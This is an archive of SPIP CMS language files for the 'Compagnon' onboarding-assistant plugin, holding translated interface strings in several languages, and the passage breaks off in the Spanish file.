<langue code="nl" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=nl" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=pt" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=pt_br" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=ru" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/compagnon?lang_cible=sk" total="35" traduits="35" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-compagnon_pt_br.php 0000666 00000001026 15252575443 0011740 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'O Companheiro oferece ajuda aos usuários, na primeira visita à área privada do SPIP.',
'compagnon_nom' => 'Companheiro',
'compagnon_slogan' => 'Assistente de primeiros passos do SPIP'
);
?>
paquet-compagnon_de.php 0000666 00000001027 15252575443 0011223 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'Der Begleiter hilft neuen Benutzern bei ihren ersten Schritten im SPIP Redaktionssystem.',
'compagnon_nom' => 'Begleiter',
'compagnon_slogan' => 'Assistent für die ersten Schritte mit SPIP'
);
?>
paquet-compagnon_fr_fem.php 0000666 00000001050 15252575443 0012065 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-compagnon?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'Le compagnon offre une aide aux utilisatrices
lors de leur première visite dans l’espace privé de SPIP.',
'compagnon_nom' => 'Compagnon',
'compagnon_slogan' => 'Assistant de premiers pas avec SPIP'
);
?>
compagnon_ar.php 0000666 00000010705 15252575443 0007743 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'أهلاً وسهلاً @nom@!',
'c_accueil_configurer_site' => 'إعداد موقعك',
'c_accueil_configurer_site_texte' => 'أول ما يجب القيام به هو إعطاء اسم لموقعك.
اسمه الآن «@nom@». سيتم عرض اسم الموقع في أعلى هذه الصفحة.
بالنقر عليه، يمكن تغيير اسمه واعطاءه رمز وشعار.
',
'c_accueil_publication' => 'أنشر!',
'c_accueil_publication_texte' => 'لنشر صفحة، يجب إنشاء مقال.
لذلك من الضروري انشاء قسم واحد على الأقل. ويتم ذلك من قائمة «تحرير» بانقر على «الأقسام».',
'c_accueil_texte' => 'دخلت الآن في المجال الخاص في SPIP.',
'c_accueil_texte_revenir' => 'تعرض هذه الصفحة أحدث نشاطات التحرير في موقعك.
يمكنك العودة الى هذه الصفحة في اي وقت بالنقر على رمز المنزل،
في القسم الأعلى من الشاشة، تحت اسمك.',
'c_article_redaction' => 'المقال قيد التحرير',
'c_article_redaction_redacteur' => 'المقال قيد التحرير',
'c_article_redaction_redacteur_texte' => 'لعرض مقالك على مدراء الموقع وعلى المحررين الآخرين،
قم بتغيير وضعيته من «قيد التحرير» الى «معروض للتقييم» في الإطار الجانبي.',
'c_article_redaction_texte' => 'لنشر هذا المقال في الموقع العمومي، يجب تغيير وضعيته.
قم بتغيير الوضعية من «قيد التحرير» الى «منشور»، في الإطار الجانبي.',
'c_articles_creer' => 'كيف يتم إنشاء مقال؟',
'c_articles_creer_texte' => 'لا يمكنك إنشاء مقال من هذه الصفحة
الا اذا كان يوجد قسم واحد على الأقل في موقعك.
يمكنك إنشائه من خلال قائمة «تحرير» قم «الأقسام».',
'c_job' => 'Les travaux à faire…', # الأعمال قيد الإتمام...
'c_job_texte' => 'تعرض هذه الصفحة مهمات الصيانة القادمة
التي سينفذها SPIP. يتم تنفيذ تلك المهمات في فترات منتظمة
او بشكل ظرفي لمعالجات ثقيلة تتطلبها بعض الملحقات
كإرسال البريد الكثيف.',
'c_rubrique_publier' => 'إنشاء مقال',
'c_rubrique_publier_texte' => 'لا يمكن ان يظهر اي قسم في الموقع العمومي
الا حين يكون فيه محتوى منشور. مثلاً مقال منشور.
قم اذاً بإنشاء مقال. يمكنك إنشاءه من هذه الصفحة، تحت وصف القسم.',
'c_rubriques_creer' => 'إنشاء أول قسم!',
'c_rubriques_creer_texte' => 'الأقسام هي البنية الأساسية للموقع. يمكنك إنشاء مقالات في داخل كل منها.
فابدأ بإنشاء القسم الأول.',
// E
'explication_activer_compagnon' => 'يضيف الرفيق تعليقات على بعض صفحات
المجال الخاص للمساعدة في التأقلم مع SPIP. هل ترغب في تفعيله؟',
'explication_reinitialiser_compagnon' => 'لا تعود الرسائل التي شاهدتها مؤلف تظهر في ما يعد.
هل ترغب في إعادة تأصيل هذه الرسائل؟ ',
// L
'label_activer_compagnon' => 'تفعيل الرفيق؟',
'label_reinitialiser_compagnon' => 'إعادة تأصيل رسائل الرفيق؟',
// O
'ok' => 'موافق',
'ok_bien' => 'حسناً!',
'ok_jai_compris' => 'فهمت!',
'ok_merci' => 'شكراً',
'ok_parfait' => 'تمام!',
// R
'reinitialisation' => 'إعادة تأصيل',
'reinitialisation_ok' => 'تمت إعادة التأصيل.',
'reinitialiser' => 'إعادة تأصيل',
'reinitialiser_moi' => 'نعم، ولكن التي قرأتها فقط',
'reinitialiser_tous' => 'نعم، أي كان المؤلف',
// T
'titre_compagnon' => 'الرفيق',
'titre_page_configurer_compagnon' => 'إعداد الرفيق'
);
?>
compagnon_en.php 0000666 00000007214 15252575443 0007744 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Welcome @nom@!',
'c_accueil_configurer_site' => 'Configure your site',
'c_accueil_configurer_site_texte' => 'One of the first things to do is to give a name to your site. It is now named "@nom@". The site name is displayed at the top of this page. By clicking on it, you can change its name, but also give him a logo and a slogan.',
'c_accueil_publication' => 'Publish!',
'c_accueil_publication_texte' => 'To publish a page, you need to create an article.
It is also necessary that you create at least one section to do so. You can proceed by clicking on the menu "Edition" then on "Sections".',
'c_accueil_texte' => 'You have just entered SPIP’s private area.',
'c_accueil_texte_revenir' => 'This page shows the latest editorial activity on your site.
You can visit this page at any time by clicking the "house icon",
on the top, under your name.',
'c_article_redaction' => 'L’article est en cours de rédaction', # The editing of this article is in progress
'c_article_redaction_redacteur' => 'This edition of this article is in progress',
'c_article_redaction_redacteur_texte' => 'To propose your article to the site administrators and to the other editors,
within the block on the column side, change "edition in progress" to "submitted for evaluation."',
'c_article_redaction_texte' => 'To publish this article on the public site, change its status.
In the block on the side column, change "editing in progress" by "published online".',
'c_articles_creer' => 'How to create an article?',
'c_articles_creer_texte' => 'You cannot create an article from this page
unless there is at least one section in your site.
You can create it from the "Sections" menu under "Edit". ',
'c_job' => 'Jobs to do...',
'c_job_texte' => 'This page lists upcoming maintenance tasks to be made by SPIP. These tasks are executed at regular intervals or occasionally for heavy processing required by plugins, such as sending bulk email.',
'c_rubrique_publier' => 'Create an article',
'c_rubrique_publier_texte' => 'A section is visible on the public site only from the moment it contains at least one published content, for example: a published article.
So create an article. You can do it from this page under the description of your section.',
'c_rubriques_creer' => 'Create a first section !',
'c_rubriques_creer_texte' => 'Sections are the basic structure of the site, you can create articles in each of them. Start by creating a first section.',
// E
'explication_activer_compagnon' => 'The companion adds comments on some pages of the private area to assist in taking SPIP in hand. Would you like to activate it?',
'explication_reinitialiser_compagnon' => 'Messages already seen by an author won’t be displayed then.
Would you like to reset these messages?',
// L
'label_activer_compagnon' => 'Enable the Companion?',
'label_reinitialiser_compagnon' => 'Reset the Companion’s messages?',
// O
'ok' => 'OK',
'ok_bien' => 'Good!',
'ok_jai_compris' => 'I got it!',
'ok_merci' => 'Cheers',
'ok_parfait' => 'Alright!',
// R
'reinitialisation' => 'Resetting',
'reinitialisation_ok' => 'Resetting done',
'reinitialiser' => 'Reset',
'reinitialiser_moi' => 'Yes, only those I’ve already read',
'reinitialiser_tous' => 'Yes, whoever is the author',
// T
'titre_compagnon' => 'The Companion',
'titre_page_configurer_compagnon' => 'Configure the companion'
);
?>
compagnon_it.php 0000666 00000007463 15252575443 0007764 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Benvenuto @nom@ !',
'c_accueil_configurer_site' => 'Configurate il vostro sito',
'c_accueil_configurer_site_texte' => 'Una delle prime cose da fare è dare un nome al tuo sito.
Ora si chiama " @nom@ ". Il nome del sito viene visualizzato nella parte superiore di questa pagina.
Facendo clic, è possibile modificare il nome, ma anche dargli un logo e uno slogan.',
'c_accueil_publication' => 'Inviare !',
'c_accueil_publication_texte' => 'Per pubblicare una pagina, è necessario creare un articolo.
È necessario che per creare almeno una rubrica. È possibile farlo nel menu "Modifica" cliccando su "Rubriche".',
'c_accueil_texte' => 'Siete appena entrati nell’area privata di SPIP.',
'c_accueil_texte_revenir' => 'Questa pagina mostra l’ultima attività editoriale sul tuo sito.
Puoi visitare questa pagina in qualsiasi momento facendo clic sull’icona home, sulla parte superiore, sotto il tuo nome.',
'c_article_redaction' => 'L’articolo è in corso di redazione',
'c_article_redaction_redacteur' => 'L’articolo è in fase di redazione',
'c_article_redaction_redacteur_texte' => 'Per inviare il tuo articolo per gli amministratori del sito e di altri editori, attraverso il pulsante a lato, cambiare da "in scrittura" a "proposto per la pubblicazione."',
'c_article_redaction_texte' => 'Per pubblicare questo articolo sul sito pubblico, modificarne lo stato.
Sulla casella a lato, cambiare da "in corso di redazione" in "pubblicato online".',
'c_articles_creer' => 'Come creare un articolo ?',
'c_articles_creer_texte' => 'È possibile creare un articolo da questa pagina non appena c’è una rubrica nel vostro sito.
È possibile creare dal menu "Modifica" e poi "Rubriche".',
'c_job' => 'Lavoro da fare...',
'c_job_texte' => 'Questa pagina elenca le operazioni di manutenzione che saranno effettuate da SPIP. Queste operazioni vengono eseguite a intervalli regolari o occasionalmente nel caso di elaborazioni pesanti richiesta dai plugin, come l’invio di email massive.',
'c_rubrique_publier' => 'Crea un’articolo',
'c_rubrique_publier_texte' => 'Una sezione è visibile sul sito pubblico
dal momento che essa contiene almeno un contenuto pubblicato, per esempio: un articolo pubblicato.
Quindi creare un articolo. Puoi farlo da questa pagina sotto la descrizione del tuo articolo.',
'c_rubriques_creer' => 'Crea la prima rubrica!',
'c_rubriques_creer_texte' => 'Le rubriche sono la struttura di base del sito, è possibile creare elementi ciascuna.
Iniziare con la creazione di una prima rubrica.',
// E
'explication_activer_compagnon' => 'L’assistente aggiunge commenti su alcune pagine dello spazio privato per contribuire a rendere SPIP più facile da usare. Vuoi per attivarlo?',
'explication_reinitialiser_compagnon' => 'I messaggi già visti da un autore non verranno più visualizzati.
Vuoi ripristinare questi messaggi?',
// L
'label_activer_compagnon' => 'Attivare l’assistente ?',
'label_reinitialiser_compagnon' => 'Cancellare i messaggi dell’assistente ?',
// O
'ok' => 'OK',
'ok_bien' => 'Bene !',
'ok_jai_compris' => 'Ho capito !',
'ok_merci' => 'Grazie',
'ok_parfait' => 'Perfetto !',
// R
'reinitialisation' => 'Reinizializzazione',
'reinitialisation_ok' => 'La reinizializzazione è stata effettuata.',
'reinitialiser' => 'Reinizializzare',
'reinitialiser_moi' => 'Sì, solo quelle che ho già letto',
'reinitialiser_tous' => 'Si, qualunque sia l’autore',
// T
'titre_compagnon' => 'L’assistente',
'titre_page_configurer_compagnon' => 'Configurare l’assistente'
);
?>
compagnon_pt_br.php 0000666 00000007451 15252575443 0010453 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Bem vindo @nom@!',
'c_accueil_configurer_site' => 'Configurar o seu site',
'c_accueil_configurer_site_texte' => 'Uma das primeiras coisas a fazer é dar um nome ao seu site.
Atualmente, ele se chama « @nom@ ». O nome do site é exibido no alto desta página.Clicando abaixo, você poderá alterar o seu nome, bem como definir um logo e um slogan.',
'c_accueil_publication' => 'Publicar!',
'c_accueil_publication_texte' => 'Para publicar uma página, você precisa criar uma matéria.
Para isso, é necessário que você crie pelo menos uma seção. Você pode fazê-lo no menu « Edição », clicando em « Seções ».',
'c_accueil_texte' => 'Você acaba de entrar na área privada do SPIP.',
'c_accueil_texte_revenir' => 'Esta página exibe a atividade editorial recente no seu site.
Você pode voltar a esta página a qualquer momento clicando no ícone da casa, no cabeçalho, sob o seu nome.',
'c_article_redaction' => 'A matéria está em fase de redação',
'c_article_redaction_redacteur' => 'A matéria está em fase de redação',
'c_article_redaction_redacteur_texte' => 'Para propor a sua matéria aos administradores do site e aos outros redatores, no box ao lado, altere «em fase de redação» por «proposta para publicação».',
'c_article_redaction_texte' => 'Para publicar esta matéria na área pública, é necessário alterar o seu status. No box ao lado mude de «em fase de redação» para «publicado online»',
'c_articles_creer' => 'Como criar uma matéria?',
'c_articles_creer_texte' => 'Você só poderá criar uma matéria a partir desta página após ter criado uma seção no seu site.
Você pode criá-la a partir do menu « Edição » e, em seguida « Seções ».',
'c_job' => 'As tarefas a executar…',
'c_job_texte' => 'Esta página lista as próximas tarefas de manutenção que o SPIP deve efetuar. Estas tarefas são executadas em intervalos regulares, ou pontualmente para os procedimentos pesados solicitados pelos plugins, tais como o envio em massa de e-mails.',
'c_rubrique_publier' => 'Crie uma matéria',
'c_rubrique_publier_texte' => 'Uma seção só é exibida na área pública a partir do momento em que ela contenha pelo menos um conteúdo publicado. Crie então uma matéria. Você pode fazê-lo a partir desta página, abaixo da descrição da sua seção.',
'c_rubriques_creer' => 'Crie uma primeira seção!',
'c_rubriques_creer_texte' => 'As seções são a estrutura básica do site; você pode criar matérias em cada uma delas. Comece criando uma primeira seção.',
// E
'explication_activer_compagnon' => 'O companheiro inclui comentários em certas páginas da área restrita para ajudar a se familiarizar com o SPIP. Você quer ativá-lo?',
'explication_reinitialiser_compagnon' => 'As mensagens já vistas por um autor não são mais exibidas. Você quer reinicializar essas mensagens?',
// L
'label_activer_compagnon' => 'Ativar o companheiro?',
'label_reinitialiser_compagnon' => 'Reinicializar as mensagens do companheiro?',
// O
'ok' => 'OK',
'ok_bien' => 'Bom!',
'ok_jai_compris' => 'Entendido!',
'ok_merci' => 'Obrigado',
'ok_parfait' => 'Perfeito!',
// R
'reinitialisation' => 'Reinicialização',
'reinitialisation_ok' => 'A reinicialização foi efetuada.',
'reinitialiser' => 'Reinicializar',
'reinitialiser_moi' => 'Sim, apenas as que eu já li',
'reinitialiser_tous' => 'Sim, para qualquer autor',
// T
'titre_compagnon' => 'O Companheiro',
'titre_page_configurer_compagnon' => 'Configurar o Companheiro'
);
?>
paquet-compagnon_fr.php 0000666 00000000774 15252575443 0011252 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/compagnon/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'compagnon_description' => 'Le compagnon offre une aide aux utilisateurs
lors de leur première visite dans l’espace privé de SPIP.',
'compagnon_nom' => 'Compagnon',
'compagnon_slogan' => 'Assistant de premiers pas avec SPIP'
);
?>
compagnon_pt.php 0000666 00000007252 15252575443 0007767 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Bem-vindo @nom@ !',
'c_accueil_configurer_site' => 'Configurar o seu sítio',
'c_accueil_configurer_site_texte' => 'Uma das primeiras coisas a fazer é dar um nome ao seu sítio.
O nome é actualmente « @nom@ ». O nome do sítio é exibido no topo desta página.
Clicando nele, pode alterá-lo, mas também atribuir-lhe um logotipo e um slogan.',
'c_accueil_publication' => 'Publique !',
'c_accueil_publication_texte' => 'Para publicar uma página, precisa de criar um artigo. Para tal é necessário criar pelo menos uma rubrica. Pode fazê-lo clicando no menu "Edição" e depois em "Rubricas".',
'c_accueil_texte' => 'Acabou de entrar na área privda de SPIP.',
'c_accueil_texte_revenir' => 'Esta página apresenta a última actividade editorial no seu sítio. Pode visitá-la a qualquer momento, clicando no "ícone casa", no topo, abaixo do seu nome de utilizador.',
'c_article_redaction' => 'O artigo está em edição',
'c_article_redaction_redacteur' => 'O artigo está em edição',
'c_article_redaction_redacteur_texte' => 'Para propor o seu artigo aos administradores do sítio e aos outros redactores, no bloco ao lado da coluna, altere "Redacção em curso" para "Proposto para avaliação".',
'c_article_redaction_texte' => 'Para publicar este artigo no sítio público, precisa de alterar o seu estatuto. No bloco do lado da coluna, altere "Redacção em curso" para "Publicado online".',
'c_articles_creer' => 'Como criar um artigo?',
'c_articles_creer_texte' => 'Não pode criar um artigo a partir desta página, se não tiver pelo menos uma rubrica no seu sítio. Pode criá-la através do menu "Rubricas", clicando em "Editar".',
'c_job' => 'Tarefas a realizar…',
'c_job_texte' => 'Esta página lista as tarefas de manutenção a realizar por SPIP. Essas tarefas são executadas em intervalos regulares ou ocasionalmente, para processamentos pesados necessários para os plugins, como o envio de e-mails em massa.',
'c_rubrique_publier' => 'Crie um artigo',
'c_rubrique_publier_texte' => 'Uma rubrica é visível no sítio público apenas a partir do momento em que contém algum conteúdo publicado (por exemplo, um artigo publicado). Portanto, crie um artigo. Pode fazê-lo a partir desta página, abaixo da descrição da sua rubrica.',
'c_rubriques_creer' => 'Crie a primeira rubrica !',
'c_rubriques_creer_texte' => 'LAs rubricas são a estrutura básica do sítio. Pode criar artigos em cada uma delas. Comece por criar uma primeira rubrica.',
// E
'explication_activer_compagnon' => 'O guia adiciona comentários em algumas páginas da área privada, para ajudar a trabalhar com SPIP. Deseja activá-lo?',
'explication_reinitialiser_compagnon' => 'As mensagens já visualizadas por um autor não serão exibidas. Deseja reiniciar essas mensagens?',
// L
'label_activer_compagnon' => 'Activar o guia ?',
'label_reinitialiser_compagnon' => 'Reiniciar as mensagens do guia ?',
// O
'ok' => 'OK',
'ok_bien' => 'Bem !',
'ok_jai_compris' => 'Compreendi !',
'ok_merci' => 'Obrigado',
'ok_parfait' => 'Perfeito !',
// R
'reinitialisation' => 'Reiniciar',
'reinitialisation_ok' => 'O reinício foi efectuado.',
'reinitialiser' => 'Reiniciar',
'reinitialiser_moi' => 'Sim, unicamente as que já li',
'reinitialiser_tous' => 'Sim, qualquer que seja o autor',
// T
'titre_compagnon' => 'O guia',
'titre_page_configurer_compagnon' => 'Configurar o guia'
);
?>
compagnon_eo.php 0000666 00000007217 15252575443 0007750 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Bonvenon @nom@ !',
'c_accueil_configurer_site' => 'Agordi vian retejon',
'c_accueil_configurer_site_texte' => 'Unu el la unuaj aferoj por fari estas doni nomon al via retejo.
Ĝi nuntempe nomiĝas « @nom@ ». La retejnomo estas montrita supre de ĉi paĝo.
Klakante sur tio, vi povas ŝanĝi lian nomon, sed ankaŭ donas al ĝi vinjeton kaj devizon.',
'c_accueil_publication' => 'Publikigu !',
'c_accueil_publication_texte' => 'Por publikigi paĝon, vi devas krei artikolon.
Por tio, estas necesa krei almenaŭ unu rubrikon. Vi povas fari tion en la menuo « Eldono » per klako sur « Rubrikoj ».',
'c_accueil_texte' => 'Vi ĵus eniris en la SPIP privata spaco.',
'c_accueil_texte_revenir' => 'Tiu paĝo prezentas la freŝa ĉefartikola aktiveco en via retejo.
Vi povas reveni al tiu paĝo ĉiumomente klakante la domvigneton,
sur la supra parto sub via nomo.',
'c_article_redaction' => 'La artikolo estas redaktata',
'c_article_redaction_redacteur' => 'La artikolo estas redaktata',
'c_article_redaction_redacteur_texte' => 'Por proponi vian artikolon al la retej-mastrumantoj kaj al aliaj redakantoj, en la flanka kadro, ŝanĝu « redaktataj » ĝis « proponita por taksado ».
',
'c_article_redaction_texte' => 'Por proponi ĉi tiun artikolon sur la publika retejo, necesas ŝanĝi ĝian statuton.
En la flanka kadro, ŝanĝu « redaktataj » ĝis « rete publikigita ».',
'c_articles_creer' => 'Kiel krei artikolon ?',
'c_articles_creer_texte' => 'Vi povos nur krei artikolon de tiu ĉi paĝo nuntempe existos almenaŭ unu rubrikon en via retejo.
Vi povas krei ĝin de la menuo « Aldono », poste « Rubrikoj ».',
'c_job' => 'La taksoj por fari…',
'c_job_texte' => 'Ĉi tiu paĝo listas venontajn bontenadajn taskojn kiujn SPIP devas realigi.
Tiuj taskoj estas realigitaj je regulaj intervaloj aŭ foje, por pezaj traktadoj petita de kromprogramoj
kiel multaj retpoŝtaj sendoj.',
'c_rubrique_publier' => 'Kreu artikolon',
'c_rubrique_publier_texte' => 'Rubriko estas videbla sur la publika spaco nur la momento ke ĝi enhavas almenaŭ unu publikigita enhavo ; ekzemple : publikigita artikolo.
Do kreu artikolon. Vi povas fari tion el ĉi tiu paĝo, sub la priskribo de via rubriko.',
'c_rubriques_creer' => 'Kreu unuan rubrikon',
'c_rubriques_creer_texte' => 'La rubrikoj estas la baza strukturo de la retejo ; vi povos krei artikolojn en ĉiuj rubrikoj.
Komencu krei unuan rubrikon.',
// E
'explication_activer_compagnon' => 'La kompano aldonas komentojn en iuj paĝoj de la privata spaco por helpi al unuaj uzadoj de SPIP. Ĉu vi volas ebligi tion ?',
'explication_reinitialiser_compagnon' => 'La mesaĝoj kiun aŭtoro jam vidis, ne plu estas afiŝita poste.
Ĉu vi volas restarigi tiujn mesaĝojn ?',
// L
'label_activer_compagnon' => 'Aktivigu la kompano ?',
'label_reinitialiser_compagnon' => 'Restarigi la kompan-mesaĝojn',
// O
'ok' => 'Konsentite',
'ok_bien' => 'Bone !',
'ok_jai_compris' => 'Mi komprenis !',
'ok_merci' => 'Dankon',
'ok_parfait' => 'Perfekte !',
// R
'reinitialisation' => 'Restarigo',
'reinitialisation_ok' => 'La restarigo estas farita',
'reinitialiser' => 'Restarigi',
'reinitialiser_moi' => 'Jes, nur tiujn kiujn mi legis',
'reinitialiser_tous' => 'Jes, kiu ajn la aŭtoro ',
// T
'titre_compagnon' => 'La kompano',
'titre_page_configurer_compagnon' => 'Agordi la kompano'
);
?>
compagnon_fr_tu.php 0000666 00000007726 15252575443 0010471 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=fr_tu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => 'Bienvenue @nom@ !',
'c_accueil_configurer_site' => 'Configurer ton site',
'c_accueil_configurer_site_texte' => 'Une des premières choses à faire est de donner un nom à ton site.
Il se nomme actuellement « @nom@ ». Le nom du site est affiché tout en haut de cette page.
En cliquant dessus, tu pourras modifier son nom, mais aussi lui donner un logo et un slogan.',
'c_accueil_publication' => 'Publie !',
'c_accueil_publication_texte' => 'Pour publier une page, il te faudra créer un article.
Il est nécessaire pour cela de créer au moins une rubrique. Tu peux le faire dans le menu « Édition » en cliquant « Rubriques ».',
'c_accueil_texte' => 'Tu viens d’entrer dans l’espace privé de SPIP.',
'c_accueil_texte_revenir' => 'Cette page présente l’activité éditoriale récente sur ton site.
Tu peux revenir sur cette page à tout instant en cliquant l’icône de maison,
sur la partie haute, sous ton nom.',
'c_article_redaction' => 'L’article est en cours de rédaction',
'c_article_redaction_redacteur' => 'L’article est en cours de rédaction',
'c_article_redaction_redacteur_texte' => 'Pour proposer ton article aux administrateurs du site et aux autres rédacteurs, dans le cadre sur le côté, change « en cours de rédaction » par « proposé à la publication ».',
'c_article_redaction_texte' => 'Pour publier cet article sur le site public, il faut changer son statut.
Dans le cadre sur le côté, change « en cours de rédaction » par « publié en ligne ».',
'c_articles_creer' => 'Comment créer un article ?',
'c_articles_creer_texte' => 'Tu ne pourras créer un article depuis cette page qu’à partir du moment où il existe une rubrique dans ton site.
Tu peux la créer depuis le menu « Édition », puis « Rubriques ».',
'c_job' => 'Les travaux à faire…',
'c_job_texte' => 'Cette page liste les prochaines tâches de maintenance que doit effectuer SPIP. Ces tâches sont exécutées à intervalle régulier ou ponctuellement pour des traitements lourds demandés par des plugins, tel que l’envoi d’email en masse.',
'c_rubrique_publier' => 'Crée un article',
'c_rubrique_publier_texte' => 'Une rubrique n’est visible sur le site public qu’à partir du moment où elle contient au moins un contenu publié ; par exemple : un article publié.
Crée donc un article. Tu peux le faire depuis cette page, sous le descriptif de ta rubrique.',
'c_rubriques_creer' => 'Crée une première rubrique !',
'c_rubriques_creer_texte' => 'Les rubriques sont la structure de base du site ; tu pourras créer des articles dans chacune d’entre elles.
Commence par créer une première rubrique.',
// E
'explication_activer_compagnon' => 'Le compagnon ajoute des commentaires sur certaines pages
de l’espace privé pour aider à prendre SPIP en main. Souhaites-tu l’activer ?',
'explication_reinitialiser_compagnon' => 'Les messages déjà vus par un auteur ne sont plus affichés ensuite.
Souhaites-tu réinitialiser ces messages ?',
// L
'label_activer_compagnon' => 'Activer le compagnon ?',
'label_reinitialiser_compagnon' => 'Réinitialiser les messages du compagnon ?',
// O
'ok' => 'OK',
'ok_bien' => 'Bien !',
'ok_jai_compris' => 'J’ai compris !',
'ok_merci' => 'Merci',
'ok_parfait' => 'Parfait !',
// R
'reinitialisation' => 'Réinitialisation',
'reinitialisation_ok' => 'La réinitialisation est effectuée.',
'reinitialiser' => 'Réinitialiser',
'reinitialiser_moi' => 'Oui, uniquement ceux que j’ai déjà lu',
'reinitialiser_tous' => 'Oui, quel que soit l’auteur',
// T
'titre_compagnon' => 'Le Compagnon',
'titre_page_configurer_compagnon' => 'Configurer le Compagnon'
);
?>
compagnon_es.php 0000666 00000007664 15252575443 0007762 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/compagnon?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// C
'c_accueil_bienvenue' => '¡Bienvenido/a @nom@!',
'c_accueil_configurer_site' => 'Configurar tu sitio',
'c_accueil_configurer_site_texte' => 'Una de las primeras cosas que hay que hacer es darle un nombre a tu sitio.
Ahora se llama «@nom@». Encuentras el nombre del sitio arriba del todo de esta página.
Pinchando encima, puedes modficarle el nombre, y también agregarle un logo y un eslogan.',
'c_accueil_publication' => '¡y a publicar !',
'c_accueil_publication_texte' => 'Para publicar una página, hay que crear un artículo.
Para esto, es necesario crear al menos una sección. Lo puedes hacer por el menú «Edición», eligiendo la opción «Secciones».',
'c_accueil_texte' => 'Acabas de entrar en el espacio privado de SPIP.',
'c_accueil_texte_revenir' => ' Esta página presenta la actividad editorial reciente de tu sito.
Puedes volver a esta página en cualquier momento, pinchando en el icono de menú que representa una casa, arriba de la página, bajo tu nombre.',
'c_article_redaction' => 'El artículo está en curso de redacción',
'c_article_redaction_redacteur' => 'El artículo está en curso de redacción',
'c_article_redaction_redacteur_texte' => 'Para proponer tu artículo a los administradores del sitio y a los demás redactores, modifica, en el cuadro aquí al lado, «en curso de redacción» por «propuesto a la publicación».',
'c_article_redaction_texte' => 'Para publicar este artículo en el sitio público, hay que cambiar su estatuto.
